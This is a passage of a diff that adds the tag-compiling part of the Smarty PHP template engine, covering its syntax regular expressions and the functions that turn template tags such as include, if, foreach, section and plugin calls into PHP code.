+                . $this->_var_regexp . $this->_obj_restricted_param_regexp . ')))*)';
+        $this->_obj_params_regexp = '\((?:' . $this->_obj_single_param_regexp
+                . '(?:\s*,\s*' . $this->_obj_single_param_regexp . ')*)?\)';
+        $this->_obj_start_regexp = '(?:' . $this->_dvar_regexp . '(?:' . $this->_obj_ext_regexp . ')+)';
+        $this->_obj_call_regexp = '(?:' . $this->_obj_start_regexp . '(?:' . $this->_obj_params_regexp . ')?(?:' . $this->_dvar_math_regexp . '(?:' . $this->_num_const_regexp . '|' . $this->_dvar_math_var_regexp . ')*)?)';
+        
+        // matches valid modifier syntax:
+        // |foo
+        // |@foo
+        // |foo:"bar"
+        // |foo:$bar
+        // |foo:"bar":$foobar
+        // |foo|bar
+        // |foo:$foo->bar
+        $this->_mod_regexp = '(?:\|@?\w+(?::(?:\w+|' . $this->_num_const_regexp . '|'
+           . $this->_obj_call_regexp . '|' . $this->_avar_regexp . '|' . $this->_qstr_regexp .'))*)';
+
+        // matches valid function name:
+        // foo123
+        // _foo_bar
+        $this->_func_regexp = '[a-zA-Z_]\w*';
+
+        // matches valid registered object:
+        // foo->bar
+        $this->_reg_obj_regexp = '[a-zA-Z_]\w*->[a-zA-Z_]\w*';
+
+        // matches valid parameter values:
+        // true
+        // $foo
+        // $foo|bar
+        // #foo#
+        // #foo#|bar
+        // "text"
+        // "text"|bar
+        // $foo->bar
+        $this->_param_regexp = '(?:\s*(?:' . $this->_obj_call_regexp . '|'
+           . $this->_var_regexp . '|' . $this->_num_const_regexp  . '|\w+)(?>' . $this->_mod_regexp . '*)\s*)';
+
+        // matches valid parenthesised function parameters:
+        //
+        // "text"
+        //    $foo, $bar, "text"
+        // $foo|bar, "foo"|bar, $foo->bar($foo)|bar
+        $this->_parenth_param_regexp = '(?:\((?:\w+|'
+                . $this->_param_regexp . '(?:\s*,\s*(?:(?:\w+|'
+                . $this->_param_regexp . ')))*)?\))';
+
+        // matches valid function call:
+        // foo()
+        // foo_bar($foo)
+        // _foo_bar($foo,"bar")
+        // foo123($foo,$foo->bar(),"foo")
+        $this->_func_call_regexp = '(?:' . $this->_func_regexp . '\s*(?:'
+           . $this->_parenth_param_regexp . '))';
+    }
+
+    /**
+     * compile a resource
+     *
+     * sets $compiled_content to the compiled source
+     * @param string $resource_name
+     * @param string $source_content
+     * @param string $compiled_content
+     * @return true
+     */
+    function _compile_file($resource_name, $source_content, &$compiled_content)
+    {
+
+        if ($this->security) {
+            // do not allow php syntax to be executed unless specified
+            if ($this->php_handling == SMARTY_PHP_ALLOW &&
+                !$this->security_settings['PHP_HANDLING']) {
+                $this->php_handling = SMARTY_PHP_PASSTHRU;
+            }
+        }
+
+        $this->_load_filters();
+
+        $this->_current_file = $resource_name;
+        $this->_current_line_no = 1;
+        $ldq = preg_quote($this->left_delimiter, '~');
+        $rdq = preg_quote($this->right_delimiter, '~');
+
+        /* un-hide hidden xml open tags  */
+        $source_content = preg_replace("~<({$ldq}(.*?){$rdq})[?]~s", '< \\1', $source_content);
+
+        // run template source through prefilter functions
+        if (count($this->_plugins['prefilter']) > 0) {
+            foreach ($this->_plugins['prefilter'] as $filter_name => $prefilter) {
+                if ($prefilter === false) continue;
+                if ($prefilter[3] || is_callable($prefilter[0])) {
+                    $source_content = call_user_func_array($prefilter[0],
+                                                            array($source_content, &$this));
+                    $this->_plugins['prefilter'][$filter_name][3] = true;
+                } else {
+                    $this->_trigger_fatal_error("[plugin] prefilter '$filter_name' is not implemented");
+                }
+            }
+        }
+
+        /* fetch all special blocks */
+        $search = "~{$ldq}\*(.*?)\*{$rdq}|{$ldq}\s*literal\s*{$rdq}(.*?){$ldq}\s*/literal\s*{$rdq}|{$ldq}\s*php\s*{$rdq}(.*?){$ldq}\s*/php\s*{$rdq}~s";
+
+        preg_match_all($search, $source_content, $match,  PREG_SET_ORDER);
+        $this->_folded_blocks = $match;
+        reset($this->_folded_blocks);
+
+        /* replace special blocks by "{php}" */
+        $source_content = preg_replace($search.'e', "'"
+                                       . $this->_quote_replace($this->left_delimiter) . 'php'
+                                       . "' . str_repeat(\"\n\", substr_count('\\0', \"\n\")) .'"
+                                       . $this->_quote_replace($this->right_delimiter)
+                                       . "'"
+                                       , $source_content);
+
+        /* Gather all template tags. */
+        preg_match_all("~{$ldq}\s*(.*?)\s*{$rdq}~s", $source_content, $_match);
+        $template_tags = $_match[1];
+        /* Split content by template tags to obtain non-template content. */
+        $text_blocks = preg_split("~{$ldq}.*?{$rdq}~s", $source_content);
+
+        /* loop through text blocks */
+        for ($curr_tb = 0, $for_max = count($text_blocks); $curr_tb < $for_max; $curr_tb++) {
+            /* match anything resembling php tags */
+            if (preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $text_blocks[$curr_tb], $sp_match)) {
+                /* replace tags with placeholders to prevent recursive replacements */
+                $sp_match[1] = array_unique($sp_match[1]);
+                usort($sp_match[1], '_smarty_sort_length');
+                for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++) {
+                    $text_blocks[$curr_tb] = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$text_blocks[$curr_tb]);
+                }
+                /* process each one */
+                for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++) {
+                    if ($this->php_handling == SMARTY_PHP_PASSTHRU) {
+                        /* echo php contents */
+                        $text_blocks[$curr_tb] = str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $text_blocks[$curr_tb]);
+                    } else if ($this->php_handling == SMARTY_PHP_QUOTE) {
+                        /* quote php tags */
+                        $text_blocks[$curr_tb] = str_replace('%%%SMARTYSP'.$curr_sp.'%%%', htmlspecialchars($sp_match[1][$curr_sp]), $text_blocks[$curr_tb]);
+                    } else if ($this->php_handling == SMARTY_PHP_REMOVE) {
+                        /* remove php tags */
+                        $text_blocks[$curr_tb] = str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '', $text_blocks[$curr_tb]);
+                    } else {
+                        /* SMARTY_PHP_ALLOW, but echo non php starting tags */
+                        $sp_match[1][$curr_sp] = preg_replace('~(<\?(?!php|=|$))~i', '<?php echo \'\\1\'?>'."\n", $sp_match[1][$curr_sp]);
+                        $text_blocks[$curr_tb] = str_replace('%%%SMARTYSP'.$curr_sp.'%%%', $sp_match[1][$curr_sp], $text_blocks[$curr_tb]);
+                    }
+                }
+            }
+        }
+
+        /* Compile the template tags into PHP code. */
+        $compiled_tags = array();
+        for ($i = 0, $for_max = count($template_tags); $i < $for_max; $i++) {
+            $this->_current_line_no += substr_count($text_blocks[$i], "\n");
+            $compiled_tags[] = $this->_compile_tag($template_tags[$i]);
+            $this->_current_line_no += substr_count($template_tags[$i], "\n");
+        }
+        if (count($this->_tag_stack)>0) {
+            list($_open_tag, $_line_no) = end($this->_tag_stack);
+            $this->_syntax_error("unclosed tag \{$_open_tag} (opened line $_line_no).", E_USER_ERROR, __FILE__, __LINE__);
+            return;
+        }
+
+        /* Reformat $text_blocks between 'strip' and '/strip' tags,
+           removing spaces, tabs and newlines. */
+        $strip = false;
+        for ($i = 0, $for_max = count($compiled_tags); $i < $for_max; $i++) {
+            if ($compiled_tags[$i] == '{strip}') {
+                $compiled_tags[$i] = '';
+                $strip = true;
+                /* remove leading whitespaces */
+                $text_blocks[$i + 1] = ltrim($text_blocks[$i + 1]);
+            }
+            if ($strip) {
+                /* strip all $text_blocks before the next '/strip' */
+                for ($j = $i + 1; $j < $for_max; $j++) {
+                    /* remove leading and trailing whitespaces of each line */
+                    $text_blocks[$j] = preg_replace('![\t ]*[\r\n]+[\t ]*!', '', $text_blocks[$j]);
+                    if ($compiled_tags[$j] == '{/strip}') {                       
+                        /* remove trailing whitespaces from the last text_block */
+                        $text_blocks[$j] = rtrim($text_blocks[$j]);
+                    }
+                    $text_blocks[$j] = "<?php echo '" . strtr($text_blocks[$j], array("'"=>"\'", "\\"=>"\\\\")) . "'; ?>";
+                    if ($compiled_tags[$j] == '{/strip}') {
+                        $compiled_tags[$j] = "\n"; /* slurped by php, but necessary
+                                    if a newline is following the closing strip-tag */
+                        $strip = false;
+                        $i = $j;
+                        break;
+                    }
+                }
+            }
+        }
+        $compiled_content = '';
+
+        /* Interleave the compiled contents and text blocks to get the final result. */
+        for ($i = 0, $for_max = count($compiled_tags); $i < $for_max; $i++) {
+            if ($compiled_tags[$i] == '') {
+                // tag result empty, remove first newline from following text block
+                $text_blocks[$i+1] = preg_replace('~^(\r\n|\r|\n)~', '', $text_blocks[$i+1]);
+            }
+            $compiled_content .= $text_blocks[$i].$compiled_tags[$i];
+        }
+        $compiled_content .= $text_blocks[$i];
+
+        // remove \n from the end of the file, if any
+        if (strlen($compiled_content) && (substr($compiled_content, -1) == "\n") ) {
+            $compiled_content = substr($compiled_content, 0, -1);
+        }
+
+        if (!empty($this->_cache_serial)) {
+            $compiled_content = "<?php \$this->_cache_serials['".$this->_cache_include."'] = '".$this->_cache_serial."'; ?>" . $compiled_content;
+        }
+
+        // remove unnecessary close/open tags
+        $compiled_content = preg_replace('~\?>\n?<\?php~', '', $compiled_content);
+
+        // run compiled template through postfilter functions
+        if (count($this->_plugins['postfilter']) > 0) {
+            foreach ($this->_plugins['postfilter'] as $filter_name => $postfilter) {
+                if ($postfilter === false) continue;
+                if ($postfilter[3] || is_callable($postfilter[0])) {
+                    $compiled_content = call_user_func_array($postfilter[0],
+                                                              array($compiled_content, &$this));
+                    $this->_plugins['postfilter'][$filter_name][3] = true;
+                } else {
+                    $this->_trigger_fatal_error("Smarty plugin error: postfilter '$filter_name' is not implemented");
+                }
+            }
+        }
+
+        // put header at the top of the compiled template
+        $template_header = "<?php /* Smarty version ".$this->_version.", created on ".strftime("%Y-%m-%d %H:%M:%S")."\n";
+        $template_header .= "         compiled from ".strtr(urlencode($resource_name), array('%2F'=>'/', '%3A'=>':'))." */ ?>\n";
+
+        /* Emit code to load needed plugins. */
+        $this->_plugins_code = '';
+        if (count($this->_plugin_info)) {
+            $_plugins_params = "array('plugins' => array(";
+            foreach ($this->_plugin_info as $plugin_type => $plugins) {
+                foreach ($plugins as $plugin_name => $plugin_info) {
+                    $_plugins_params .= "array('$plugin_type', '$plugin_name', '" . strtr($plugin_info[0], array("'" => "\\'", "\\" => "\\\\")) . "', $plugin_info[1], ";
+                    $_plugins_params .= $plugin_info[2] ? 'true),' : 'false),';
+                }
+            }
+            $_plugins_params .= '))';
+            $plugins_code = "<?php require_once(SMARTY_CORE_DIR . 'core.load_plugins.php');\nsmarty_core_load_plugins($_plugins_params, \$this); ?>\n";
+            $template_header .= $plugins_code;
+            $this->_plugin_info = array();
+            $this->_plugins_code = $plugins_code;
+        }
+
+        if ($this->_init_smarty_vars) {
+            $template_header .= "<?php require_once(SMARTY_CORE_DIR . 'core.assign_smarty_interface.php');\nsmarty_core_assign_smarty_interface(null, \$this); ?>\n";
+            $this->_init_smarty_vars = false;
+        }
+
+        $compiled_content = $template_header . $compiled_content;
+        return true;
+    }
+
+    /**
+     * Compile a template tag
+     *
+     * @param string $template_tag
+     * @return string
+     */
+    function _compile_tag($template_tag)
+    {
+        /* Matched comment. */
+        if (substr($template_tag, 0, 1) == '*' && substr($template_tag, -1) == '*')
+            return '';
+        
+        /* Split tag into two three parts: command, command modifiers and the arguments. */
+        if(! preg_match('~^(?:(' . $this->_num_const_regexp . '|' . $this->_obj_call_regexp . '|' . $this->_var_regexp
+                . '|\/?' . $this->_reg_obj_regexp . '|\/?' . $this->_func_regexp . ')(' . $this->_mod_regexp . '*))
+                      (?:\s+(.*))?$
+                    ~xs', $template_tag, $match)) {
+            $this->_syntax_error("unrecognized tag: $template_tag", E_USER_ERROR, __FILE__, __LINE__);
+        }
+        
+        $tag_command = $match[1];
+        $tag_modifier = isset($match[2]) ? $match[2] : null;
+        $tag_args = isset($match[3]) ? $match[3] : null;
+
+        if (preg_match('~^' . $this->_num_const_regexp . '|' . $this->_obj_call_regexp . '|' . $this->_var_regexp . '$~', $tag_command)) {
+            /* tag name is a variable or object */
+            $_return = $this->_parse_var_props($tag_command . $tag_modifier);
+            return "<?php echo $_return; ?>" . $this->_additional_newline;
+        }
+
+        /* If the tag name is a registered object, we process it. */
+        if (preg_match('~^\/?' . $this->_reg_obj_regexp . '$~', $tag_command)) {
+            return $this->_compile_registered_object_tag($tag_command, $this->_parse_attrs($tag_args), $tag_modifier);
+        }
+
+        switch ($tag_command) {
+            case 'include':
+                return $this->_compile_include_tag($tag_args);
+
+            case 'include_php':
+                return $this->_compile_include_php_tag($tag_args);
+
+            case 'if':
+                $this->_push_tag('if');
+                return $this->_compile_if_tag($tag_args);
+
+            case 'else':
+                list($_open_tag) = end($this->_tag_stack);
+                if ($_open_tag != 'if' && $_open_tag != 'elseif')
+                    $this->_syntax_error('unexpected {else}', E_USER_ERROR, __FILE__, __LINE__);
+                else
+                    $this->_push_tag('else');
+                return '<?php else: ?>';
+
+            case 'elseif':
+                list($_open_tag) = end($this->_tag_stack);
+                if ($_open_tag != 'if' && $_open_tag != 'elseif')
+                    $this->_syntax_error('unexpected {elseif}', E_USER_ERROR, __FILE__, __LINE__);
+                if ($_open_tag == 'if')
+                    $this->_push_tag('elseif');
+                return $this->_compile_if_tag($tag_args, true);
+
+            case '/if':
+                $this->_pop_tag('if');
+                return '<?php endif; ?>';
+
+            case 'capture':
+                return $this->_compile_capture_tag(true, $tag_args);
+
+            case '/capture':
+                return $this->_compile_capture_tag(false);
+
+            case 'ldelim':
+                return $this->left_delimiter;
+
+            case 'rdelim':
+                return $this->right_delimiter;
+
+            case 'section':
+                $this->_push_tag('section');
+                return $this->_compile_section_start($tag_args);
+
+            case 'sectionelse':
+                $this->_push_tag('sectionelse');
+                return "<?php endfor; else: ?>";
+                break;
+
+            case '/section':
+                $_open_tag = $this->_pop_tag('section');
+                if ($_open_tag == 'sectionelse')
+                    return "<?php endif; ?>";
+                else
+                    return "<?php endfor; endif; ?>";
+
+            case 'foreach':
+                $this->_push_tag('foreach');
+                return $this->_compile_foreach_start($tag_args);
+                break;
+
+            case 'foreachelse':
+                $this->_push_tag('foreachelse');
+                return "<?php endforeach; else: ?>";
+
+            case '/foreach':
+                $_open_tag = $this->_pop_tag('foreach');
+                if ($_open_tag == 'foreachelse')
+                    return "<?php endif; unset(\$_from); ?>";
+                else
+                    return "<?php endforeach; endif; unset(\$_from); ?>";
+                break;
+
+            case 'strip':
+            case '/strip':
+                if (substr($tag_command, 0, 1)=='/') {
+                    $this->_pop_tag('strip');
+                    if (--$this->_strip_depth==0) { /* outermost closing {/strip} */
+                        $this->_additional_newline = "\n";
+                        return '{' . $tag_command . '}';
+                    }
+                } else {
+                    $this->_push_tag('strip');
+                    if ($this->_strip_depth++==0) { /* outermost opening {strip} */
+                        $this->_additional_newline = "";
+                        return '{' . $tag_command . '}';
+                    }
+                }
+                return '';
+
+            case 'php':
+                /* handle folded tags replaced by {php} */
+                list(, $block) = each($this->_folded_blocks);
+                $this->_current_line_no += substr_count($block[0], "\n");
+                /* the number of matched elements in the regexp in _compile_file()
+                   determins the type of folded tag that was found */
+                switch (count($block)) {
+                    case 2: /* comment */
+                        return '';
+
+                    case 3: /* literal */
+                        return "<?php echo '" . strtr($block[2], array("'"=>"\'", "\\"=>"\\\\")) . "'; ?>" . $this->_additional_newline;
+
+                    case 4: /* php */
+                        if ($this->security && !$this->security_settings['PHP_TAGS']) {
+                            $this->_syntax_error("(secure mode) php tags not permitted", E_USER_WARNING, __FILE__, __LINE__);
+                            return;
+                        }
+                        return '<?php ' . $block[3] .' ?>';
+                }
+                break;
+
+            case 'insert':
+                return $this->_compile_insert_tag($tag_args);
+
+            default:
+                if ($this->_compile_compiler_tag($tag_command, $tag_args, $output)) {
+                    return $output;
+                } else if ($this->_compile_block_tag($tag_command, $tag_args, $tag_modifier, $output)) {
+                    return $output;
+                } else if ($this->_compile_custom_tag($tag_command, $tag_args, $tag_modifier, $output)) {
+                    return $output;                    
+                } else {
+                    $this->_syntax_error("unrecognized tag '$tag_command'", E_USER_ERROR, __FILE__, __LINE__);
+                }
+
+        }
+    }
+
+
+    /**
+     * compile the custom compiler tag
+     *
+     * sets $output to the compiled custom compiler tag
+     * @param string $tag_command
+     * @param string $tag_args
+     * @param string $output
+     * @return boolean
+     */
+    function _compile_compiler_tag($tag_command, $tag_args, &$output)
+    {
+        $found = false;
+        $have_function = true;
+
+        /*
+         * First we check if the compiler function has already been registered
+         * or loaded from a plugin file.
+         */
+        if (isset($this->_plugins['compiler'][$tag_command])) {
+            $found = true;
+            $plugin_func = $this->_plugins['compiler'][$tag_command][0];
+            if (!is_callable($plugin_func)) {
+                $message = "compiler function '$tag_command' is not implemented";
+                $have_function = false;
+            }
+        }
+        /*
+         * Otherwise we need to load plugin file and look for the function
+         * inside it.
+         */
+        else if ($plugin_file = $this->_get_plugin_filepath('compiler', $tag_command)) {
+            $found = true;
+
+            include_once $plugin_file;
+
+            $plugin_func = 'smarty_compiler_' . $tag_command;
+            if (!is_callable($plugin_func)) {
+                $message = "plugin function $plugin_func() not found in $plugin_file\n";
+                $have_function = false;
+            } else {
+                $this->_plugins['compiler'][$tag_command] = array($plugin_func, null, null, null, true);
+            }
+        }
+
+        /*
+         * True return value means that we either found a plugin or a
+         * dynamically registered function. False means that we didn't and the
+         * compiler should now emit code to load custom function plugin for this
+         * tag.
+         */
+        if ($found) {
+            if ($have_function) {
+                $output = call_user_func_array($plugin_func, array($tag_args, &$this));
+                if($output != '') {
+                $output = '<?php ' . $this->_push_cacheable_state('compiler', $tag_command)
+                                   . $output
+                                   . $this->_pop_cacheable_state('compiler', $tag_command) . ' ?>';
+                }
+            } else {
+                $this->_syntax_error($message, E_USER_WARNING, __FILE__, __LINE__);
+            }
+            return true;
+        } else {
+            return false;
+        }
+    }
+
+
+    /**
+     * compile block function tag
+     *
+     * sets $output to compiled block function tag
+     * @param string $tag_command
+     * @param string $tag_args
+     * @param string $tag_modifier
+     * @param string $output
+     * @return boolean
+     */
+    function _compile_block_tag($tag_command, $tag_args, $tag_modifier, &$output)
+    {
+        if (substr($tag_command, 0, 1) == '/') {
+            $start_tag = false;
+            $tag_command = substr($tag_command, 1);
+        } else
+            $start_tag = true;
+
+        $found = false;
+        $have_function = true;
+
+        /*
+         * First we check if the block function has already been registered
+         * or loaded from a plugin file.
+         */
+        if (isset($this->_plugins['block'][$tag_command])) {
+            $found = true;
+            $plugin_func = $this->_plugins['block'][$tag_command][0];
+            if (!is_callable($plugin_func)) {
+                $message = "block function '$tag_command' is not implemented";
+                $have_function = false;
+            }
+        }
+        /*
+         * Otherwise we need to load plugin file and look for the function
+         * inside it.
+         */
+        else if ($plugin_file = $this->_get_plugin_filepath('block', $tag_command)) {
+            $found = true;
+
+            include_once $plugin_file;
+
+            $plugin_func = 'smarty_block_' . $tag_command;
+            if (!function_exists($plugin_func)) {
+                $message = "plugin function $plugin_func() not found in $plugin_file\n";
+                $have_function = false;
+            } else {
+                $this->_plugins['block'][$tag_command] = array($plugin_func, null, null, null, true);
+
+            }
+        }
+
+        if (!$found) {
+            return false;
+        } else if (!$have_function) {
+            $this->_syntax_error($message, E_USER_WARNING, __FILE__, __LINE__);
+            return true;
+        }
+
+        /*
+         * Even though we've located the plugin function, compilation
+         * happens only once, so the plugin will still need to be loaded
+         * at runtime for future requests.
+         */
+        $this->_add_plugin('block', $tag_command);
+
+        if ($start_tag)
+            $this->_push_tag($tag_command);
+        else
+            $this->_pop_tag($tag_command);
+
+        if ($start_tag) {
+            $output = '<?php ' . $this->_push_cacheable_state('block', $tag_command);
+            $attrs = $this->_parse_attrs($tag_args);
+            $_cache_attrs='';
+            $arg_list = $this->_compile_arg_list('block', $tag_command, $attrs, $_cache_attrs);
+            $output .= "$_cache_attrs\$this->_tag_stack[] = array('$tag_command', array(".implode(',', $arg_list).')); ';
+            $output .= '$_block_repeat=true;' . $this->_compile_plugin_call('block', $tag_command).'($this->_tag_stack[count($this->_tag_stack)-1][1], null, $this, $_block_repeat);';
+            $output .= 'while ($_block_repeat) { ob_start(); ?>';
+        } else {
+            $output = '<?php $_block_content = ob_get_contents(); ob_end_clean(); ';
+            $_out_tag_text = $this->_compile_plugin_call('block', $tag_command).'($this->_tag_stack[count($this->_tag_stack)-1][1], $_block_content, $this, $_block_repeat)';
+            if ($tag_modifier != '') {
+                $this->_parse_modifiers($_out_tag_text, $tag_modifier);
+            }
+            $output .= '$_block_repeat=false;echo ' . $_out_tag_text . '; } ';
+            $output .= " array_pop(\$this->_tag_stack); " . $this->_pop_cacheable_state('block', $tag_command) . '?>';
+        }
+
+        return true;
+    }
+
+
+    /**
+     * compile custom function tag
+     *
+     * @param string $tag_command
+     * @param string $tag_args
+     * @param string $tag_modifier
+     * @return string
+     */
+    function _compile_custom_tag($tag_command, $tag_args, $tag_modifier, &$output)
+    {
+        $found = false;
+        $have_function = true;
+
+        /*
+         * First we check if the custom function has already been registered
+         * or loaded from a plugin file.
+         */
+        if (isset($this->_plugins['function'][$tag_command])) {
+            $found = true;
+            $plugin_func = $this->_plugins['function'][$tag_command][0];
+            if (!is_callable($plugin_func)) {
+                $message = "custom function '$tag_command' is not implemented";
+                $have_function = false;
+            }
+        }
+        /*
+         * Otherwise we need to load plugin file and look for the function
+         * inside it.
+         */
+        else if ($plugin_file = $this->_get_plugin_filepath('function', $tag_command)) {
+            $found = true;
+
+            include_once $plugin_file;
+
+            $plugin_func = 'smarty_function_' . $tag_command;
+            if (!function_exists($plugin_func)) {
+                $message = "plugin function $plugin_func() not found in $plugin_file\n";
+                $have_function = false;
+            } else {
+                $this->_plugins['function'][$tag_command] = array($plugin_func, null, null, null, true);
+
+            }
+        }
+
+        if (!$found) {
+            return false;
+        } else if (!$have_function) {
+            $this->_syntax_error($message, E_USER_WARNING, __FILE__, __LINE__);
+            return true;
+        }
+
+        /* declare plugin to be loaded on display of the template that
+           we compile right now */
+        $this->_add_plugin('function', $tag_command);
+
+        $_cacheable_state = $this->_push_cacheable_state('function', $tag_command);
+        $attrs = $this->_parse_attrs($tag_args);
+        $_cache_attrs = '';
+        $arg_list = $this->_compile_arg_list('function', $tag_command, $attrs, $_cache_attrs);
+
+        $output = $this->_compile_plugin_call('function', $tag_command).'(array('.implode(',', $arg_list)."), \$this)";
+        if($tag_modifier != '') {
+            $this->_parse_modifiers($output, $tag_modifier);
+        }
+
+        if($output != '') {
+            $output =  '<?php ' . $_cacheable_state . $_cache_attrs . 'echo ' . $output . ';'
+                . $this->_pop_cacheable_state('function', $tag_command) . "?>" . $this->_additional_newline;
+        }
+
+        return true;
+    }
+
+    /**
+     * compile a registered object tag
+     *
+     * @param string $tag_command
+     * @param array $attrs
+     * @param string $tag_modifier
+     * @return string
+     */
+    function _compile_registered_object_tag($tag_command, $attrs, $tag_modifier)
+    {
+        if (substr($tag_command, 0, 1) == '/') {
+            $start_tag = false;
+            $tag_command = substr($tag_command, 1);
+        } else {
+            $start_tag = true;
+        }
+
+        list($object, $obj_comp) = explode('->', $tag_command);
+
+        $arg_list = array();
+        if(count($attrs)) {
+            $_assign_var = false;
+            foreach ($attrs as $arg_name => $arg_value) {
+                if($arg_name == 'assign') {
+                    $_assign_var = $arg_value;
+                    unset($attrs['assign']);
+                    continue;
+                }
+                if (is_bool($arg_value))
+                    $arg_value = $arg_value ? 'true' : 'false';
+                $arg_list[] = "'$arg_name' => $arg_value";
+            }
+        }
+
+        if($this->_reg_objects[$object][2]) {
+            // smarty object argument format
+            $args = "array(".implode(',', (array)$arg_list)."), \$this";
+        } else {
+            // traditional argument format
+            $args = implode(',', array_values($attrs));
+            if (empty($args)) {
+                $args = 'null';
+            }
+        }
+
+        $prefix = '';
+        $postfix = '';
+        $newline = '';
+        if(!is_object($this->_reg_objects[$object][0])) {
+            $this->_trigger_fatal_error("registered '$object' is not an object" , $this->_current_file, $this->_current_line_no, __FILE__, __LINE__);
+        } elseif(!empty($this->_reg_objects[$object][1]) && !in_array($obj_comp, $this->_reg_objects[$object][1])) {
+            $this->_trigger_fatal_error("'$obj_comp' is not a registered component of object '$object'", $this->_current_file, $this->_current_line_no, __FILE__, __LINE__);
+        } elseif(method_exists($this->_reg_objects[$object][0], $obj_comp)) {
+            // method
+            if(in_array($obj_comp, $this->_reg_objects[$object][3])) {
+                // block method
+                if ($start_tag) {
+                    $prefix = "\$this->_tag_stack[] = array('$obj_comp', $args); ";
+                    $prefix .= "\$_block_repeat=true; \$this->_reg_objects['$object'][0]->$obj_comp(\$this->_tag_stack[count(\$this->_tag_stack)-1][1], null, \$this, \$_block_repeat); ";
+                    $prefix .= "while (\$_block_repeat) { ob_start();";
+                    $return = null;
+                    $postfix = '';
+                } else {
+                    $prefix = "\$_obj_block_content = ob_get_contents(); ob_end_clean(); \$_block_repeat=false;";
+                    $return = "\$this->_reg_objects['$object'][0]->$obj_comp(\$this->_tag_stack[count(\$this->_tag_stack)-1][1], \$_obj_block_content, \$this, \$_block_repeat)";
+                    $postfix = "} array_pop(\$this->_tag_stack);";
+                }
+            } else {
+                // non-block method
+                $return = "\$this->_reg_objects['$object'][0]->$obj_comp($args)";
+            }
+        } else {
+            // property
+            $return = "\$this->_reg_objects['$object'][0]->$obj_comp";
+        }
+
+        if($return != null) {
+            if($tag_modifier != '') {
+                $this->_parse_modifiers($return, $tag_modifier);
+            }
+
+            if(!empty($_assign_var)) {
+                $output = "\$this->assign('" . $this->_dequote($_assign_var) ."',  $return);";
+            } else {
+                $output = 'echo ' . $return . ';';
+                $newline = $this->_additional_newline;
+            }
+        } else {
+            $output = '';
+        }
+
+        return '<?php ' . $prefix . $output . $postfix . "?>" . $newline;
+    }
+
+    /**
+     * Compile {insert ...} tag
+     *
+     * @param string $tag_args
+     * @return string
+     */
+    function _compile_insert_tag($tag_args)
+    {
+        $attrs = $this->_parse_attrs($tag_args);
+        $name = $this->_dequote($attrs['name']);
+
+        if (empty($name)) {
+            $this->_syntax_error("missing insert name", E_USER_ERROR, __FILE__, __LINE__);
+        }
+
+        if (!empty($attrs['script'])) {
+            $delayed_loading = true;
+        } else {
+            $delayed_loading = false;
+        }
+
+        foreach ($attrs as $arg_name => $arg_value) {
+            if (is_bool($arg_value))
+                $arg_value = $arg_value ? 'true' : 'false';
+            $arg_list[] = "'$arg_name' => $arg_value";
+        }
+
+        $this->_add_plugin('insert', $name, $delayed_loading);
+
+        $_params = "array('args' => array(".implode(', ', (array)$arg_list)."))";
+
+        return "<?php require_once(SMARTY_CORE_DIR . 'core.run_insert_handler.php');\necho smarty_core_run_insert_handler($_params, \$this); ?>" . $this->_additional_newline;
+    }
+
+    /**
+     * Compile {include ...} tag
+     *
+     * @param string $tag_args
+     * @return string
+     */
+    function _compile_include_tag($tag_args)
+    {
+        $attrs = $this->_parse_attrs($tag_args);
+        $arg_list = array();
+
+        if (empty($attrs['file'])) {
+            $this->_syntax_error("missing 'file' attribute in include tag", E_USER_ERROR, __FILE__, __LINE__);
+        }
+
+        foreach ($attrs as $arg_name => $arg_value) {
+            if ($arg_name == 'file') {
+                $include_file = $arg_value;
+                continue;
+            } else if ($arg_name == 'assign') {
+                $assign_var = $arg_value;
+                continue;
+            }
+            if (is_bool($arg_value))
+                $arg_value = $arg_value ? 'true' : 'false';
+            $arg_list[] = "'$arg_name' => $arg_value";
+        }
+
+        $output = '<?php ';
+
+        if (isset($assign_var)) {
+            $output .= "ob_start();\n";
+        }
+
+        $output .=
+            "\$_smarty_tpl_vars = \$this->_tpl_vars;\n";
+
+
+        $_params = "array('smarty_include_tpl_file' => " . $include_file . ", 'smarty_include_vars' => array(".implode(',', (array)$arg_list)."))";
+        $output .= "\$this->_smarty_include($_params);\n" .
+        "\$this->_tpl_vars = \$_smarty_tpl_vars;\n" .
+        "unset(\$_smarty_tpl_vars);\n";
+
+        if (isset($assign_var)) {
+            $output .= "\$this->assign(" . $assign_var . ", ob_get_contents()); ob_end_clean();\n";
+        }
+
+        $output .= ' ?>';
+
+        return $output;
+
+    }
+
+    /**
+     * Compile {include ...} tag
+     *
+     * @param string $tag_args
+     * @return string
+     */
+    function _compile_include_php_tag($tag_args)
+    {
+        $attrs = $this->_parse_attrs($tag_args);
+
+        if (empty($attrs['file'])) {
+            $this->_syntax_error("missing 'file' attribute in include_php tag", E_USER_ERROR, __FILE__, __LINE__);
+        }
+
+        $assign_var = (empty($attrs['assign'])) ? '' : $this->_dequote($attrs['assign']);
+        $once_var = (empty($attrs['once']) || $attrs['once']=='false') ? 'false' : 'true';
+
+        $arg_list = array();
+        foreach($attrs as $arg_name => $arg_value) {
+            if($arg_name != 'file' AND $arg_name != 'once' AND $arg_name != 'assign') {
+                if(is_bool($arg_value))
+                    $arg_value = $arg_value ? 'true' : 'false';
+                $arg_list[] = "'$arg_name' => $arg_value";
+            }
+        }
+
+        $_params = "array('smarty_file' => " . $attrs['file'] . ", 'smarty_assign' => '$assign_var', 'smarty_once' => $once_var, 'smarty_include_vars' => array(".implode(',', $arg_list)."))";
+
+        return "<?php require_once(SMARTY_CORE_DIR . 'core.smarty_include_php.php');\nsmarty_core_smarty_include_php($_params, \$this); ?>" . $this->_additional_newline;
+    }
+
+
+    /**
+     * Compile {section ...} tag
+     *
+     * @param string $tag_args
+     * @return string
+     */
+    function _compile_section_start($tag_args)
+    {
+        $attrs = $this->_parse_attrs($tag_args);
+        $arg_list = array();
+
+        $output = '<?php ';
+        $section_name = $attrs['name'];
+        if (empty($section_name)) {
+            $this->_syntax_error("missing section name", E_USER_ERROR, __FILE__, __LINE__);
+        }
+
